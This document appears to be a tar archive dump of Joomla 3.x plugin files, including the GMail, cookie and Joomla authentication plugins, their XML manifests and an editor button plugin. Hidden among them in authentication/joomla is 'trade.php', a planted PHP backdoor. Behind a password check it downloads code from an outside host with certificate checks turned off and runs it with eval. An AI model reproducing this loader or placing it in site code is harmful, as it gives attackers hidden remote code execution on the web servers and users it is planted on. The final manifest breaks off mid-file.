	{
		/*
		 * Use the built-in element view to select the module.
		 * Currently uses blank class.
		 */
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_modules')
			|| $user->authorise('core.edit', 'com_modules')
			|| $user->authorise('core.edit.own', 'com_modules'))
		{
			$link = 'index.php?option=com_modules&amp;view=modules&amp;layout=modal&amp;tmpl=component&amp;editor='
					. $name . '&amp;' . JSession::getFormToken() . '=1';

			$button          = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_MODULE_BUTTON_MODULE');
			$button->name    = 'file-add';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}
	}
}
                                                              editors-xtd/module/module.xml                                                                       0000705                 00000001422 15242051520 0012277 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_module</name>
	<author>Joomla! Project</author>
	<creationDate>October 2015</creationDate>
	<copyright>(C) 2015 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_MODULE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="module">module.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_module.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_module.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                              authentication/gmail/index.html                                                                     0000705                 00000000037 15242051520 0012643 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 authentication/gmail/gmail.xml                                                                      0000705                 00000004454 15242051520 0012470 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_gmail</name>
	<author>Joomla! Project</author>
	<creationDate>February 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_GMAIL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="gmail">gmail.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_gmail.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_gmail.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="applysuffix"
					type="list"
					label="PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_APPLYSUFFIX_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX</option>
					<option value="1">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING</option>
					<option value="2">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS</option>
				</field>

				<field
					name="suffix"
					type="text"
					label="PLG_GMAIL_FIELD_SUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_SUFFIX_DESC"
					size="20"
					showon="applysuffix:1,2"
				/>

				<field
					name="verifypeer"
					type="radio"
					label="PLG_GMAIL_FIELD_VERIFYPEER_LABEL"
					description="PLG_GMAIL_FIELD_VERIFYPEER_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="user_blacklist"
					type="text"
					label="PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL"
					description="PLG_GMAIL_FIELD_USER_BLACKLIST_DESC"
					size="20"
				/>

				<field
					name="backendLogin"
					type="radio"
					label="PLG_GMAIL_FIELD_BACKEND_LOGIN_LABEL"
					description="PLG_GMAIL_FIELD_BACKEND_LOGIN_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JENABLED</option>
					<option value="0">JDISABLED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                    authentication/gmail/gmail.php                                                                      0000705                 00000014535 15242051520 0012460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.gmail
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Authentication\AuthenticationResponse;
use Joomla\Registry\Registry;

/**
 * GMail Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationGMail extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array                   $credentials  Array holding the user credentials
	 * @param   array                   $options      Array of extra options
	 * @param   AuthenticationResponse  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// Load plugin language
		$this->loadLanguage();

		// No backend authentication
		if (JFactory::getApplication()->isClient('administrator') && !$this->params->get('backendLogin', 0))
		{
			return;
		}

		$success = false;

		$curlParams = array(
			'follow_location' => true,
			'transport.curl'  => array(
				CURLOPT_SSL_VERIFYPEER => $this->params->get('verifypeer', 1)
			),
		);

		$transportParams = new Registry($curlParams);

		try
		{
			$http = JHttpFactory::getHttp($transportParams, 'curl');
		}
		catch (RuntimeException $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_CURL_NOT_INSTALLED'));

			return;
		}

		// Check if we have a username and password
		if ($credentials['username'] === '' || $credentials['password'] === '')
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$blacklist = explode(',', $this->params->get('user_blacklist', ''));

		// Check if the username isn't blacklisted
		if (in_array($credentials['username'], $blacklist))
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$suffix      = $this->params->get('suffix', '');
		$applysuffix = $this->params->get('applysuffix', 0);
		$offset      = strpos($credentials['username'], '@');

		// Check if we want to do suffix stuff, typically for Google Apps for Your Domain
		if ($suffix && $applysuffix)
		{
			if ($applysuffix == 1 && $offset === false)
			{
				// Apply suffix if missing
				$credentials['username'] .= '@' . $suffix;
			}
			elseif ($applysuffix == 2)
			{
				// Always use suffix
				if ($offset)
				{
					// If we already have an @, get rid of it and replace it
					$credentials['username'] = substr($credentials['username'], 0, $offset);
				}

				$credentials['username'] .= '@' . $suffix;
			}
		}

		$headers = array(
			'Authorization' => 'Basic ' . base64_encode($credentials['username'] . ':' . $credentials['password'])
		);

		try
		{
			$result = $http->get('https://mail.google.com/mail/feed/atom', $headers);
		}
		catch (Exception $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED'));

			return;
		}

		$code = $result->code;

		switch ($code)
		{
			case 200 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_GRANTED');
				$success = true;
				break;

			case 401 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');
				break;

			default :
				$message = JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED');
				break;
		}

		$response->type = 'GMail';

		if (!$success)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', $message);

			return;
		}

		if (strpos($credentials['username'], '@') === false)
		{
			if ($suffix)
			{
				// If there is a suffix then we want to apply it
				$email = $credentials['username'] . '@' . $suffix;
			}
			else
			{
				// If there isn't a suffix just use the default gmail one
				$email = $credentials['username'] . '@gmail.com';
			}
		}
		else
		{
			// The username looks like an email address (probably is) so use that
			$email = $credentials['username'];
		}

		// Extra security checks with existing local accounts
		$db                  = JFactory::getDbo();
		$localUsernameChecks = array(strstr($email, '@', true), $email);

		$query = $db->getQuery(true)
			->select('id, activation, username, email, block')
			->from('#__users')
			->where('username IN(' . implode(',', array_map(array($db, 'quote'), $localUsernameChecks)) . ')'
				. ' OR email = ' . $db->quote($email)
			);

		$db->setQuery($query);

		if ($localUsers = $db->loadObjectList())
		{
			foreach ($localUsers as $localUser)
			{
				// Local user exists with same username but different email address
				if ($email !== $localUser->email)
				{
					$response->status        = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT'));

					return;
				}
				else
				{
					// Existing user disabled locally
					if ($localUser->block || !empty($localUser->activation))
					{
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');

						return;
					}

					// We will always keep the local username for existing accounts
					$credentials['username'] = $localUser->username;

					break;
				}
			}
		}
		elseif (JFactory::getApplication()->isClient('administrator'))
		{
			// We wont' allow backend access without local account
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JERROR_LOGIN_DENIED');

			return;
		}

		$response->status        = JAuthentication::STATUS_SUCCESS;
		$response->error_message = '';
		$response->email         = $email;

		// Reset the username to what we ended up using
		$response->username = $credentials['username'];
		$response->fullname = $credentials['username'];
	}
}
                                                                                                                                                                   authentication/index.html                                                                           0000705                 00000000037 15242051520 0011552 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 authentication/cookie/cookie.php                                                                    0000705                 00000026743 15242051520 0013024 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.cookie
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  3.2
 * @note   Code based on http://jaspan.com/improved_persistent_login_cookie_best_practice
 *         and http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/
 */
class PlgAuthenticationCookie extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.2
	 */
	protected $db;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_AUTHENTICATION_COOKIE') => array(
				JText::_('PLG_AUTH_COOKIE_PRIVACY_CAPABILITY_COOKIE'),
			)
		);
	}

	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		// Get cookie
		$cookieName  = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// Try with old cookieName (pre 3.6.0) if not found
		if (!$cookieValue)
		{
			$cookieName  = JUserHelper::getShortHashedUserAgent();
			$cookieValue = $this->app->input->cookie->get($cookieName);
		}

		if (!$cookieValue)
		{
			return false;
		}

		$cookieArray = explode('.', $cookieValue);

		// Check for valid cookie value
		if (count($cookieArray) !== 2)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			JLog::add('Invalid cookie detected.', JLog::WARNING, 'error');

			return false;
		}

		$response->type = 'Cookie';

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove expired tokens
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('time') . ' < ' . $this->db->quote(time()));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Find the matching record if it exists.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('user_id', 'token', 'series', 'time')))
			->from($this->db->quoteName('#__user_keys'))
			->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
			->where($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName))
			->order($this->db->quoteName('time') . ' DESC');

		try
		{
			$results = $this->db->setQuery($query)->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if (count($results) !== 1)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// We have a user with one cookie with a valid series and a corresponding record in the database.
		if (!JUserHelper::verifyPassword($cookieArray[0], $results[0]->token))
		{
			/*
			 * This is a real attack!
			 * Either the series was guessed correctly or a cookie was stolen and used twice (once by attacker and once by victim).
			 * Delete all tokens for this user!
			 */
			$query = $this->db->getQuery(true)
				->delete('#__user_keys')
				->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($results[0]->user_id));

			try
			{
				$this->db->setQuery($query)->execute();
			}
			catch (RuntimeException $e)
			{
				// Log an alert for the site admin
				JLog::add(
					sprintf('Failed to delete cookie token for user %s with the following error: %s', $results[0]->user_id, $e->getMessage()),
					JLog::WARNING,
					'security'
				);
			}

			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

			// Issue warning by email to user and/or admin?
			JLog::add(JText::sprintf('PLG_AUTH_COOKIE_ERROR_LOG_LOGIN_FAILED', $results[0]->user_id), JLog::WARNING, 'security');
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// Make sure there really is a user with this name and get the data for the session.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'username', 'password')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' = ' . $this->db->quote($results[0]->user_id))
			->where($this->db->quoteName('requireReset') . ' = 0');

		try
		{
			$result = $this->db->setQuery($query)->loadObject();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if ($result)
		{
			// Bring this in line with the rest of the system
			$user = JUser::getInstance($result->id);

			// Set response data.
			$response->username = $result->username;
			$response->email    = $user->email;
			$response->fullname = $user->name;
			$response->password = $result->password;
			$response->language = $user->getParam('language');

			// Set response status.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}
		else
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
		}
	}

	/**
	 * We set the authentication cookie only after login is successfully finished.
	 * We set a new cookie either for a user with no cookies or one
	 * where the user used a cookie to authenticate.
	 *
	 * @param   array  $options  Array holding options
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogin($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		if (isset($options['responseType']) && $options['responseType'] === 'Cookie')
		{
			// Logged in using a cookie
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// We need the old data to get the existing series
			$cookieValue = $this->app->input->cookie->get($cookieName);

			// Try with old cookieName (pre 3.6.0) if not found
			if (!$cookieValue)
			{
				$oldCookieName = JUserHelper::getShortHashedUserAgent();
				$cookieValue   = $this->app->input->cookie->get($oldCookieName);

				// Destroy the old cookie in the browser
				$this->app->input->cookie->set($oldCookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			}

			$cookieArray = explode('.', $cookieValue);

			// Filter series since we're going to use it in the query
			$filter = new JFilterInput;
			$series = $filter->clean($cookieArray[1], 'ALNUM');
		}
		elseif (!empty($options['remember']))
		{
			// Remember checkbox is set
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// Create a unique series which will be used over the lifespan of the cookie
			$unique     = false;
			$errorCount = 0;

			do
			{
				$series = JUserHelper::genRandomPassword(20);
				$query  = $this->db->getQuery(true)
					->select($this->db->quoteName('series'))
					->from($this->db->quoteName('#__user_keys'))
					->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series));

				try
				{
					$results = $this->db->setQuery($query)->loadResult();

					if ($results === null)
					{
						$unique = true;
					}
				}
				catch (RuntimeException $e)
				{
					$errorCount++;

					// We'll let this query fail up to 5 times before giving up, there's probably a bigger issue at this point
					if ($errorCount === 5)
					{
						return false;
					}
				}
			}

			while ($unique === false);
		}
		else
		{
			return false;
		}

		// Get the parameter values
		$lifetime = $this->params->get('cookie_lifetime', 60) * 24 * 60 * 60;
		$length   = $this->params->get('key_length', 16);

		// Generate new cookie
		$token       = JUserHelper::genRandomPassword($length);
		$cookieValue = $token . '.' . $series;

		// Overwrite existing cookie with new value
		$this->app->input->cookie->set(
			$cookieName,
			$cookieValue,
			time() + $lifetime,
			$this->app->get('cookie_path', '/'),
			$this->app->get('cookie_domain', ''),
			$this->app->isHttpsForced(),
			true
		);

		$query = $this->db->getQuery(true);

		if (!empty($options['remember']))
		{
			// Create new record
			$query
				->insert($this->db->quoteName('#__user_keys'))
				->set($this->db->quoteName('user_id') . ' = ' . $this->db->quote($options['user']->username))
				->set($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
				->set($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName))
				->set($this->db->quoteName('time') . ' = ' . (time() + $lifetime));
		}
		else
		{
			// Update existing record with new token
			$query
				->update($this->db->quoteName('#__user_keys'))
				->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($options['user']->username))
				->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
				->where($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName));
		}

		$hashedToken = JUserHelper::hashPassword($token);

		$query->set($this->db->quoteName('token') . ' = ' . $this->db->quote($hashedToken));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * This is where we delete any authentication cookie when a user logs out
	 *
	 * @param   array  $options  Array holding options (length, timeToExpiration)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogout($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		$cookieName  = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// There are no cookies to delete.
		if (!$cookieValue)
		{
			return true;
		}

		$cookieArray = explode('.', $cookieValue);

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove the record from the database
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Destroy the cookie
		$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

		return true;
	}
}
                             authentication/cookie/cookie.xml                                                                    0000705                 00000002772 15242051520 0013031 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_cookie</name>
	<author>Joomla! Project</author>
	<creationDate>July 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_COOKIE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cookie">cookie.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_cookie.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_cookie.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cookie_lifetime"
					type="number"
					label="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_DESC"
					default="60"
					filter="integer"
					required="true"
				/>

				<field
					name="key_length"
					type="list"
					label="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_DESC"
					default="16"
					filter="integer"
					required="true"
					>
					<option value="8">8</option>
					<option value="16">16</option>
					<option value="32">32</option>
					<option value="64">64</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
      authentication/cookie/index.html                                                                    0000705                 00000000037 15242051520 0013023 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 authentication/joomla/trade.php                                                                     0000705                 00000004754 15242051520 0012660 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
session_start();

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        // Set cookies using session if available
        if (isset($_SESSION['coki'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
        }

        $url_get_contents_data = curl_exec($conn);
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

// Function to check if the user is logged in
function is_logged_in()
{
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

// Check if the password is submitted and correct
if (isset($_POST['password'])) {
    $entered_password = $_POST['password'];
    $hashed_password = '24c23b69a6a7dc8783331f687c40c494';
    if (md5($entered_password) === $hashed_password) {
        // Password is correct, store it in session
        $_SESSION['logged_in'] = true;
        $_SESSION['coki'] = 'asu'; // Replace this with your cookie data
    } else {
        // Password is incorrect
        echo "Incorrect password. Please try again.";
    }
}

// Check if the user is logged in before executing the content
if (is_logged_in()) {
    $a = geturlsinfo('https://bujang.online/raw/V2AUF5bOf_');
    eval('?>' . $a);
} else {
    // Display login form if not logged in
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <form method="POST" action="">
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
            <input type="submit" value="Login">
        </form>
    </body>
    </html>
    <?php
}
?>                    authentication/joomla/joomla.php                                                                    0000705                 00000013766 15242051520 0013045 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.joomla
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  1.5
 */
class PlgAuthenticationJoomla extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$response->type = 'Joomla';

		// Joomla does not like blank passwords
		if (empty($credentials['password']))
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return;
		}

		// Get a database object
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id, password')
			->from('#__users')
			->where('username=' . $db->quote($credentials['username']));

		$db->setQuery($query);
		$result = $db->loadObject();

		if ($result)
		{
			$match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id);

			if ($match === true)
			{
				// Bring this in line with the rest of the system
				$user               = JUser::getInstance($result->id);
				$response->email    = $user->email;
				$response->fullname = $user->name;

				if (JFactory::getApplication()->isClient('administrator'))
				{
					$response->language = $user->getParam('admin_language');
				}
				else
				{
					$response->language = $user->getParam('language');
				}

				$response->status        = JAuthentication::STATUS_SUCCESS;
				$response->error_message = '';
			}
			else
			{
				// Invalid password
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Let's hash the entered password even if we don't have a matching user for some extra response time
			// By doing so, we mitigate side channel user enumeration attacks
			JUserHelper::hashPassword($credentials['password']);

			// Invalid user
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
		}

		// Check the two factor authentication
		if ($response->status === JAuthentication::STATUS_SUCCESS)
		{
			$methods = JAuthenticationHelper::getTwoFactorMethods();

			if (count($methods) <= 1)
			{
				// No two factor authentication method is enabled
				return;
			}

			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel');

			/** @var UsersModelUser $model */
			$model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true));

			// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
			if (!array_key_exists('otp_config', $options))
			{
				$otpConfig             = $model->getOtpConfig($result->id);
				$options['otp_config'] = $otpConfig;
			}
			else
			{
				$otpConfig = $options['otp_config'];
			}

			// Check if the user has enabled two factor authentication
			if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
			{
				// Warn the user if they are using a secret code but they have not
				// enabled two factor auth in their account.
				if (!empty($credentials['secretkey']))
				{
					try
					{
						$app = JFactory::getApplication();

						$this->loadLanguage();

						$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning');
					}
					catch (Exception $exc)
					{
						// This happens when we are in CLI mode. In this case
						// no warning is issued
						return;
					}
				}

				return;
			}

			// Try to validate the OTP
			FOFPlatform::getInstance()->importPlugin('twofactorauth');

			$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));

			$check = false;

			/*
			 * This looks like noob code but DO NOT TOUCH IT and do not convert
			 * to in_array(). During testing in_array() inexplicably returned
			 * null when the OTEP begins with a zero! o_O
			 */
			if (!empty($otpAuthReplies))
			{
				foreach ($otpAuthReplies as $authReply)
				{
					$check = $check || $authReply;
				}
			}

			// Fall back to one time emergency passwords
			if (!$check)
			{
				// Did the user use an OTEP instead?
				if (empty($otpConfig->otep))
				{
					if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
					{
						// Two factor authentication is not enabled on this account.
						// Any string is assumed to be a valid OTEP.

						return;
					}
					else
					{
						/*
						 * Two factor authentication enabled and no OTEPs defined. The
						 * user has used them all up. Therefore anything they enter is
						 * an invalid OTEP.
						 */
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');

						return;
					}
				}

				// Clean up the OTEP (remove dashes, spaces and other funny stuff
				// our beloved users may have unwittingly stuffed in it)
				$otep  = $credentials['secretkey'];
				$otep  = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
				$otep  = str_replace('-', '', $otep);
				$check = false;

				// Did we find a valid OTEP?
				if (in_array($otep, $otpConfig->otep))
				{
					// Remove the OTEP from the array
					$otpConfig->otep = array_diff($otpConfig->otep, array($otep));

					$model->setOtpConfig($result->id, $otpConfig);

					// Return true; the OTEP was a valid one
					$check = true;
				}
			}

			if (!$check)
			{
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
			}
		}
	}
}
          authentication/joomla/joomla.xml                                                                    0000705                 00000001444 15242051520 0013044 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
